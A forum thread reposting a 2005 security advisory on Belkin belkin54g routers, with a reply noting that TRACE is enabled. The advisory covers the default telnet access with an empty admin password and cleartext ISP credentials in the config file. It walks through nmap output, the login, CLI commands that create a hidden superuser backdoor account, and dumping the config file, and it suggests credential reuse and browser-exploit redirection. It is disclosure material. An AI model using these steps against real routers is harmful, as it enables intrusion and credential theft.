    >> /isfs/im.conf.backup.
    >>
    >> Interesting things which I found in these file are the following:
    >> - - hostnames and IP addresses from the DNS table (these are computers
    >> that are connected in the present and have been connected in the
    >> past to the router)
    >> - - ISP account configuration including username and password (yes,
    >> this is all in cleartext as well!)
    >>
    >> The following output is an example of DNS entries extracted from the
    >> config file. Note that the original MAC addresses, hostnames,
    >> username and password have been modified for privacy reasons:
    >>
    >> <Start of output>
    >>
    >> N ImDnsRelayLanHostEntry
    >> ImDnsRelay.ImDnsRelayLanHostEntries.computerName1i pv4
    >> A hostName computerName1
    >> A ipaddr 192.168.2.21
    >> A macAddress XXXXXXX
    >> N ImDnsRelayLanHostEntry
    >> ImDnsRelay.ImDnsRelayLanHostEntries.computerName2i pv4
    >> A hostName computerName2
    >> A ipaddr 192.168.2.6
    >> A macAddress XXXXXXX
    >> N ImDnsRelayLanHostEntry
    >> ImDnsRelay.ImDnsRelayLanHostEntries.computerName3i pv4
    >> A hostName computerName3
    >> A ipaddr 192.168.2.4
    >> A macAddress XXXXXXX
    >> N ImDnsRelayLanHostEntry
    >> ImDnsRelay.ImDnsRelayLanHostEntries.computerName4i pv4
    >> A hostName computerName4
    >> A ipaddr 192.168.2.7
    >> A macAddress XXXXXXX
    >>
    >> </End of output>
    >>
    >>
    >> The following are some of the settings related to the ISP account
    >> configuration including sensitive information such as username and
    >> password in the clear:
    >>
    >>
    >> <Start of output>
    >>
    >> A weLoginName myname.mysurname@adsl.ispdomain.com
    >> A weLoginPassword this-is-my-password-in-the-clear
    >> A weLoginAuth chap
    >>
    >> </End of output>
    >>
    >>
    >> I'd like to stress that the consequences of storing the username,
    >> password and authentication protocol in the clear can be exploited in
    >> very malicious ways. For instance, the first thing that an attacker
    >> can exploit is the fact that ISPs usually give users some web
    >> services after they get their DSL connections set up. I'm talking
    >> about things such as webmail and account management services. By
    >> default, these services use the same password as the one used on the
    >> ISP account (which can be obtained from the config file). In other
    >> cases, these passwords also remain the same because it's just easier
    >> for users to have the same password for all their ISP-related
    >> accounts.
    >> Also, let's remember that the same password could also be used by the
    >> user in other services such as messengers, ftp servers and so on.
    >> This type of information could be easily obtained by an attacker
    >> sniffing the network either with a wireless sniffer such as Airopeek
    >> NX or by performing a MITM attack through ARP poisoning with a tool
    >> like Cain.
    >>
    >> I'm sure that if other people play more with these routers they can
    >> find other vulnerabilities, exploits and interesting functions.
    >> Personally, I was surprised by the power that these Belkin routers
    >> give you once they're accessed through the telnet interface.
    >>
    >> Because most of these "belkin54" family of routers give you root
    >> privileges by default through the telnet interface, it is really up
    >> to the attacker on what to exploit. It's just a matter of imagination
    >> and curiosity. Some ideas could include redirecting users to the
    >> router's web server whose files could be previously replaced by
    >> scripts that would exploit the latest vulnerabilities present in the
    >> most popular web browsers.
    >>
    >> -----BEGIN PGP SIGNATURE-----
    >> Version: PGP 8.1 - not licensed for commercial use: www.pgp.com
    >>
    >> iQA/AwUBQtdtRbteQP8gtTAfEQLVbgCdG3Txno+dGhLtmvAytTrYtV wqHW0AoMIK
    >> Yknf7sFxGJw7hbIK1oX642EB
    >> =5Mdx
    >> -----END PGP SIGNATURE-----
    >>
    >>
    >>
    >>

    >


  9. #9
    E. Kellinis
    several vulnerabilities present in Belkin wireless routers
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: several vulnerabilities present in Belkin wireless routers

    just noticed that the TRACE http method is enabled in the router's
    webserver as well



    m123303@securityfocus.com wrote:

    >-----BEGIN PGP SIGNED MESSAGE-----
    >Hash: SHA1
    >
    >Advisory name:
    >several vulnerabilities present in Belkin wireless routers
    >
    >Overall severity rating:
    >HIGH risk
    >
    >Devices affected:
    >"belkin54g" family of wireless routers
    >
    >4 main vulnerabilities are included in this advisory:
    >- - default telnet backdoor
    >- - password-less administrative account
    >- - verbose messages in telnet sessions reveal filesystem structure and
    >possible "interesting" files
    >- - cleartext sensitive information stored in config file (config.icf)
    >
    >Date:
    >July 15, 2005
    >
    >Author:
    >pagvac (Adrian Pastor)
    >
    >Description:
    >I've been able to identify several important vulnerabilities in
    >different Belkin wireless routers. These vulnerabilities have been
    >tested and verified in at least three different Belkin wireless
    >router models which are very similar, not only in the way they look
    >but also in their functionalities.
    >
    >These Belkin wireless routers are quite popular among home users
    >probably due to their affordable price and easiness of use. This
    >means that the following vulnerabilities and exploits should be
    >present in a big number of devices available out there which should
    >be very easy to find for wardrivers.
    >
    >Note: these routers use a default SSID of "belkin54g".
    >
    >- From here, I'd like to encourage other computer security enthusiasts
    >to test what I found in their Belkin wireless routers and also let
    >everyone know that positive and negative comments about the content
    >of this advisory are welcome.
    >
    >The first problem is the existance of a default telnet backdoor
    >running on the usual 23/tcp port. From my experience, telnet
    >interfaces are NOT enabled by default in wireless routers but rather,
    >they usually need to be enabled from their administrative web
    >interfaces manually:
    >
    >
    ><Start of output>
    >
    >Starting nmap 3.75 ( http://www.insecure.org/nmap/ ) at 2005-06-06
    >18:34 BST
    >Initiating SYN Stealth Scan against BelkinModem.Belkin (192.168.2.1)
    >[1663 ports] at 18:34
    >Discovered open port 53/tcp on 192.168.2.1
    >Discovered open port 80/tcp on 192.168.2.1
    >Discovered open port 23/tcp on 192.168.2.1
    >The SYN Stealth Scan took 1.93s to scan 1663 total ports.
    >Initiating UDP Scan against BelkinModem.Belkin (192.168.2.1) [1478
    >ports] at 18:34
    >The UDP Scan took 1.92s to scan 1478 total ports.
    >Host BelkinModem.Belkin (192.168.2.1) appears to be up ... good.
    >Interesting ports on BelkinModem.Belkin (192.168.2.1):
    >(The 3133 ports scanned but not shown below are in state: closed)
    >PORT STATE SERVICE
    >23/tcp open telnet
    >53/tcp open domain
    >53/udp open|filtered domain
    >67/udp open|filtered dhcpserver
    >80/tcp open http
    >123/udp open|filtered ntp
    >520/udp open|filtered route
    >1900/udp open|filtered UPnP
    >MAC Address: 00:11:50XXX (Belkin)
    >
    ></End of output>
    >
    >
    >This device is usually configured with a default IP address of
    >192.168.2.1. The interesting thing about the telnet interface in this
    >case is that it provides users with many powerful commands that are
    >NOT accessible through the administrative web interface. Again, let
    >me remind you that the telnet service is running straight out of the
    >box so no user intervention is needed.
    >
    >The telnet service, just like the web interface, can be accessed by
    >default with root privileges using a "null" password. When I say
    >"null" I mean empty, in other words: no password. The difference is
    >that the web interface sends the username to the system so only the
    >password is required from the user. In this case, all the user needs
    >to do is click on the "Submit" button after accessing
    >http://192.168.2.1 without entering any password AT ALL. In the case
    >of the telnet service, the authentication is different in the sense
    >that the system prompts the user for BOTH, username and password. The
    >right combination is admin/"null", where "null" is an empty password
    >(just press <enter> when prompted for password):
    >
    ><Start of output>
    >
    ># telnet 192.168.2.1
    >
    >Trying 192.168.2.1...
    >Connected to 192.168.2.1.
    >Escape character is '^]'.
    >
    > ,vvvdP9P???^ ,,,
    > vvd###P^`^ vvvvv v
    > vv#####?^ ????####vv,
    > vv####?? ,vvvdP???^ ,,, ??##^
    > v#####? ,vvd##P?^ #?#v#vvv
    > v#####? v###P^ ,vvv, '?#?,
    > ######? ####?^ ,vd#P?^ `???##
    > #####? v#### ,d##P^ ''
    > ###### v#### ]###L _ _ _
    > ___
    > #####? v#### ]##L / / \ |\ | |_ \/ /\
    >|\ | |
    > ###### #### ]###L \_ \_/ | \| |_ /\ /--\
    >| \| |
    > ?#####v ####v ]##h, ,,
    > ?##### ?###h, `9#hv, ,vv###
    > ###### #####L ]###L ,v#v'
    > ?#####vv ?9##hv, ,,vvvv###'
    > ?#####vv `??9P\vv, ^ vv##,
    > ###### #######L
    > ??###hvv, ,vvv#?##?????
    > `????9hdhvv,
    >
    >Login: admin
    ><enter>
    ></End of output>
    >
    >
    >As it can be seen, the OS firmware is developed by Conexant, although
    >the routers themselves are from Belkin. After researching on both
    >Belkin and Conexant websites I found nothing about the OS running in
    >these devices and ways to configure them through telnet. However, the
    >console mode shows many tools that are available in GNU/Linux
    >systems, indicating that this is the type of system running behind
    >the scenes.
    >
    >After logging in, the user is immediately granted root privileges on
    >the system. There are many interesting things an attacker can do at
    >this point. Most of the interesting functions are under the "system"
    >commands menu. In order to see all the available commands enter "?".
    >
    >
    ><Start of output>
    >
    >- --> ?
    >802.1x 802.1x port based authentication
    >agent Get a file from a remote host
    >autoprov
    >bridge Configure layer 2 bridge
    >console Console access
    >dhcpclient DHCP client configuration commands
    >dhcpserver DHCP server configuration commands
    >diagnosticTest
    >dnsclient DNS client configuration commands
    >dnsrelay DNS relay configuration
    >ethernet Commands to configure ethernet transports
    >firewall Firewall configuration commands
    >help Top level CLI help
    >igmp
    >imdebug Directly access the information model
    >ip Configure IP router
    >logger Log to a remote host using syslog
    >nat NAT configuration commands
    >port Physical port configuration commands
    >pppoa PPP over ATM configuration
    >pppoe
    >radclient RADIUS Client Configuration commands
    >rfc1483 Commands to configure RFC1483 transports
    >security Security configuration commands not specific to NAT
    >or firewall
    >sntpclient Simple Network Time Protocol Client commands
    >source Read a file of commands
    >system System administration commands
    >transports Transport configuration commands
    >upnp UPnP configuration commands
    >user User commands
    >webserver Webserver configuration commands
    >wpa Configure WPA (Wireless Protected Access)
    >- -->
    >
    ></End of output>
    >
    >
    >To see the available flags/options for a certain command, enter the
    >name of the command followed by "?" again and so on:
    >
    >
    ><Start of output>
    >
    >- --> system ?
    >add Add a user to the system
    >auto-update Update device firmware automatically from a remote
    >server
    >config Configuration file maintenance
    >cpuload Show current CPU loading
    >delete Remove system users
    >info Display hardware/software information
    >legal
    >list List system information
    >log Set logging options
    >restart Restart system (same as pressing reset)
    >set Set user privileges
    >
    ></End of output>
    >
    >
    >The first exploit an attacker could perform is to add a backdoor
    >account with administrative privileges:
    >
    >
    ><Start of output>
    >
    >- --> system list logins
    >
    >Users:
    > May May conf. May Access
    > ID | Name | Conf. | web | Dialin | Level |
    >Comment
    >- -----|------------|----------|----------|----------|------------|-----
    >- --------
    > 1 | admin | ENABLED | ENABLED | disabled | superuser |
    >Admin user
    >- ----------------------------------------------------------------------
    >- ---------
    >
    >- --> system set user guest access superuser
    >
    >
    >- --> system list logins
    >
    >Users:
    > May May conf. May Access
    > ID | Name | Conf. | web | Dialin | Level |
    >Comment
    >- -----|------------|----------|----------|----------|------------|-----
    >- --------
    > 1 | admin | ENABLED | ENABLED | disabled | superuser |
    >Admin user
    > 2 | guest | ENABLED | ENABLED | disabled | superuser |
    >Created by CLI
    >- ----------------------------------------------------------------------
    >- ---------
    >
    >
    >- --> system set login guest maydialin enabled
    >
    >
    >- --> system list logins
    >
    >Users:
    > May May conf. May Access
    > ID | Name | Conf. | web | Dialin | Level |
    >Comment
    >- -----|------------|----------|----------|----------|------------|-----
    >- --------
    > 1 | admin | ENABLED | ENABLED | disabled | superuser |
    >Admin user
    > 2 | guest | ENABLED | ENABLED | ENABLED | superuser |
    >Created by CLI
    >- ----------------------------------------------------------------------
    >- ---------
    >
    ><End of output>
    >
    >
    >In this case the attacker first lists the avaialable accounts on the
    >system and then creates an acccount called "guest" assigning
    >superuser privileges to it. After that, the attacker also gives
    >dialin permissions to this new backdoor account. In reality, if an
    >attacker doesn't want to be loud, he/she would probably use an
    >account name that doesn't attract the attention from the owner of the
    >router. Such account could be called something like "test", "guest",
    >"manager", "default", "root", or "administrator". In this case the
    >attacker chose "guest".
    >
    >I'd like to say that I don't exactly know what the system means by
    >"May Dialin". I simply confirmed during my tests that an attacker can
    >indeed assign "dialin" privileges to a newly created superuser
    >account and use it to connect to the router through the telnet
    >interface with root privileges.
    >
    >I suspect that the "dialin" permissions are related to either one of
    >the following:
    >
    >- - permissions to allow a given account to connect to the router
    >- - a dialin interface which can be used by the administrator to dial
    >the router from the PSTN (telephone network) provided that the router
    >is connected to a telephone line.
    >
    >If anyone has played with this option in Belkin routers, please send
    >me your comments. Due to the lack of documentation available about
    >the telnet interface of these routers, I could not find further
    >information on "dialin" permissions.
    >
    >After adding the backdoor account the attacker can log into the
    >router through telnet using this new account. After that, the
    >attacker can add a password with the "user password" command:
    >
    >
    ><Start of output>
    >
    >- --> user password
    >Enter new password: ********
    > Again to verify: ********
    >
    ></End of output>
    >
    >
    >The second interesting thing that an attacker could do is to browse
    >the filesystem and dump the config file on the screen. The default
    >name of the config file of these routers is "config.icf". This file
    >can be obtained in two ways:
    >
    >- - from the web interface (http://192.168.2.1) by clicking on "Save
    >configuration"
    >- - through the telnet interface by browsing the filesystem in the
    >"console enable" mode
    >
    >After accessing the "console enable" mode the user is provided with a
    >bunch of powerful commands, including popular Linux/GNU tools such as
    >"cat". This is how to access the console mode (notice how "?" is used
    >to list available options for the "console" command):
    >
    >
    ><Start of output>
    >
    >- --> console ?
    >enable Enter console mode
    >process Execute console command
    >
    >
    >- --> console enable
    >Switching from CLI to console mode - type 'exit' to return
    >
    >Quantum>
    >
    >
    ></End of output>
    >
    >
    >
    >The way I found where the config file was located was NOT by browsing
    >the filesystem manually with "cd" and "ls" commands, but rather by
    >exploiting an interesting behavior of these routers. Basically, when
    >you save configuration files from the web interface, make invalid
    >http requests, or save system settings (from the web interface as
    >well), the system will dump messages on the telnet interface. For
    >instance, if you connect to the telnet service and save the
    >configuration settings from the web interface, the following message
    >will be dumped on the telnet session:
    >
    ><Start of output>
    >
    >Saving to backup configuration //isfs/im.conf.backup
    >
    ></End of output>
    >
    >
    >The following error was dumped after playing with invalid requests:
    >
    >
    ><Start of output>
    >
    >Quantum> webserver: ewsServeEmWebInclude: '/shared/header_start.html'
    >not found or wrong type
    >
    ></End of output>
    >
    >
    >I suggest playing with the web interface while having the telnet
    >session open to find interesting files and directories as an
    >alternative to manually browsing the filesystem. Also, it might be
    >fun to try MITM proxy attacks against the router's web interface with
    >tools such as Achilles or Paros. This would allow us to modify the
    >inputs included in the POST requests which would normally be
    >restricted by the client-side forms. Doing this should hopefully dump
    >some interesting errors on the telnet session.
    >
    >The following are some of the directories present in the filesystem:
    >
    >/isfs/
    >/shared/
    >/webconfig/images/
    >/webconfig/styles/
    >/webconfig/styles/
    >/webconfig/update/
    >
    >
    >
    >Many tools are available in the "console enable" mode. In this case,
    >I used "cat" to dump sensitive information found in the config file.
    >Remember that a backup of the configuration file can be obtained from
    >/isfs/im.conf.backup.
    >
    >Interesting things which I found in these file are the following:
    >- - hostnames and IP addresses from the DNS table (these are computers
    >that are connected in the present and have been connected in the
    >past to the router)
    >- - ISP account configuration including username and password (yes,
    >this is all in cleartext as well!)
    >
    >The following output is an example of DNS entries extracted from the
    >config file. Note that the original MAC addresses, hostnames,
    >username and password have been modified for privacy reasons:
    >
    ><Start of output>
    >
    >N ImDnsRelayLanHostEntry
    >ImDnsRelay.ImDnsRelayLanHostEntries.computerName1 ipv4
    > A hostName computerName1
    > A ipaddr 192.168.2.21
    > A macAddress XXXXXXX
    >N ImDnsRelayLanHostEntry
    >ImDnsRelay.ImDnsRelayLanHostEntries.computerName2 ipv4
    > A hostName computerName2
    > A ipaddr 192.168.2.6
    > A macAddress XXXXXXX
    >N ImDnsRelayLanHostEntry
    >ImDnsRelay.ImDnsRelayLanHostEntries.computerName3 ipv4
    > A hostName computerName3
    > A ipaddr 192.168.2.4
    > A macAddress XXXXXXX
    >N ImDnsRelayLanHostEntry
    >ImDnsRelay.ImDnsRelayLanHostEntries.computerName4 ipv4
    > A hostName computerName4
    > A ipaddr 192.168.2.7
    > A macAddress XXXXXXX
    >
    ></End of output>
    >
    >
    >The following are some of the settings related to the ISP account
    >configuration including sensitive information such as username and
    >password in the clear:
    >
    >
    ><Start of output>
    >
    >A weLoginName myname.mysurname@adsl.ispdomain.com
    >A weLoginPassword this-is-my-password-in-the-clear
    >A weLoginAuth chap
    >
    ></End of output>
    >
    >
    >I'd like to stress that the consequences of storing the username,
    >password and authentication protocol in the clear can be exploited in
    >very malicious ways. For instance, the first thing that an attacker
    >can exploit is the fact that ISPs usually give users some web
    >services after they get their DSL connections set up. I'm talking
    >about things such as webmail and account management services. By
    >default, these services use the same password as the one used on the
    >ISP account (which can be obtained from the config file). In other
    >cases, these passwords also remain the same because it's just easier
    >for users to have the same password for all their ISP-related
    >accounts.
    >
    >Also, let's remember that the same password could also be used by the
    >user in other services such as messengers, ftp servers and so on.
    >This type of information could be easily obtained by an attacker
    >sniffing the network either with a wireless sniffer such as Airopeek
    >NX or by performing a MITM attack through ARP poisoning with a tool
    >like Cain.
    >
    >I'm sure that if other people play more with these routers they can
    >find other vulnerabilities, exploits and interesting functions.
    >Personally, I was surprised by the power that these Belkin routers
    >give you once they're accessed through the telnet interface.
    >
    >Because most of these "belkin54" family of routers give you root
    >privileges by default through the telnet interface, it is really up
    >to the attacker on what to exploit. It's just a matter of imagination
    >and curiosity. Some ideas could include redirecting users to the
    >router's web server whose files could be previously replaced by
    >scripts that would exploit the latest vulnerabilities present in the
    >most popular web browsers.
    >
    >-----BEGIN PGP SIGNATURE-----
    >Version: PGP 8.1 - not licensed for commercial use: www.pgp.com
    >
    >iQA/AwUBQtdtRbteQP8gtTAfEQLVbgCdG3Txno+dGhLtmvAytTrYtV wqHW0AoMIK
    >Yknf7sFxGJw7hbIK1oX642EB
    >=5Mdx
    >-----END PGP SIGNATURE-----
    >
    >
    >
    >


Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics